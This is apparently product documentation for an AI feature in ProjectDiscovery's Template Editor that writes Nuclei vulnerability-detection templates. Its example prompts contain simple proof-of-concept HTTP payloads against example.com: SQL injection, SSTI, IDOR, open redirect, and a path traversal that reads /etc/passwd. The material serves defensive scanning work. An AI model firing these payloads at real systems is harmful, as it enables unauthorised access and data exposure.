AI Assistance

The Template Editor has AI to generate templates for vulnerability reports. This document helps to guide you through the process, offering usagwe tips and examples.

Overview

Powered by ProjectDiscovery’s deep library of public Nuclei templates and a rich CVE data set, the AI understands a broad array of security vulnerabilities. First, the system interprets the user’s prompt to identify a specific vulnerability. Then, it generates a template based on the steps required to reproduce the vulnerability along with all the necessary meta information to reproduce and remediate.

Initial Setup

Kick start your AI Assistance experience with these steps:

Provide Detailed Information: Construct comprehensive Proof of Concepts (PoCs) for vulnerabilities like Cross-Site Scripting (XSS), and others.
Understand the Template Format: Get to grips with the format to appropriately handle and modify the generated template.
Validation and Linting: Use the integrated linter to guarantee the template’s validity.
Test the Template: Evaluate the template against a test target ensuring its accuracy.

Best Practices

Precision Matters: Detailed prompts yield superior templates.
Review and Validate: Consistently check matchers’ accuracy.
Template Verification: Validate the template on known vulnerable targets before deployment.

Example Prompts

The following examples demonstrate different vulnerabilities and the corresponding Prompt.

Vulnerability: Open Redirect

Open redirect vulnerability identified in a web application. Here’s the PoC:HTTP Request:

GET /redirect?url=http://malicious.com HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0

HTTP Response:

HTTP/1.1 302 Found
Location: http://malicious.com
Content-Length: 0
Server: Apache

The application redirects the user to the URL specified in the url parameter, leading to an open redirect vulnerability.

Vulnerability: SQL Injection

SQL Injection vulnerability in a login form. Here’s the PoC:HTTP Request:

POST /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded

username=admin&password=' OR '1'='1

HTTP Response:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache

<html>
...
<p>Welcome back, admin</p>
...
</html>

The application improperly handles user input in the password field, leading to an SQL Injection vulnerability.

Vulnerability: Business logic (negative cart balance)

Business Logic vulnerability in a web application’s shopping cart function allows for negative quantities, leading to credit. Here’s the PoC:HTTP Request:

POST /add-to-cart HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded

product_id=1001&quantity=-1

HTTP Response:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache

<html>
...
<p>Product added to cart. Current balance: -$19.99</p>
...
</html>

The application fails to validate the quantity parameter, resulting in a Business Logic vulnerability.

Vulnerability: Server-side Template Injection (SSTI)

Server-side Template Injection (SSTI) vulnerability through a web application’s custom greeting card function. Here’s the PoC:

HTTP Request:

POST /create-card HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded

message={{7*7}}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache

<html>
...
<p>Your card: 49</p>
...
</html>

The application processes the message parameter as a template, leading to an SSTI vulnerability.

Vulnerability: Insecure Direct Object Reference (IDOR)

Insecure Direct Object Reference (IDOR) vulnerability discovered in a website’s user profile page. Here’s the PoC:

HTTP Request:

GET /profile?id=2 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session=abcd1234

HTTP Response:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache

<html>
...
<p>Welcome, otheruser</p>
...
</html>

The application exposes sensitive information of a user (ID: 2) who is not the authenticated user (session: abcd1234), leading to an IDOR vulnerability.

Vulnerability: Path Traversal

Path Traversal vulnerability identified in a web application’s file download function. Here’s the PoC:

HTTP Request:

GET /download?file=../../etc/passwd HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0

HTTP Response:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 1827
Server: Apache

root:x:0:0:root:/root:/bin/bash

The application fetches the file specified in the file parameter from the server file system, leading to a Path Traversal vulnerability.

Vulnerability: Business logic (extend VIP subscription)

Business logic vulnerability in a web application’s VIP subscription function allows users to extend the trial period indefinitely. Here’s the PoC:

HTTP Request:

POST /extend-trial HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session=abcd1234

HTTP Response:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache

<html>

<p>Your VIP trial period has been extended by 7 days.</p>

</html>

The application does not limit the number of times the trial period can be extended, leading to a business logic vulnerability.

Each of these examples provides HTTP Requests and Responses to illustrate the vulnerabilities.

Limitations

Please note that the current AI is trained primarily on HTTP data. Template generation for non-HTTP protocols is not supported at this time. Support for additional protocols is under development and will be available soon.
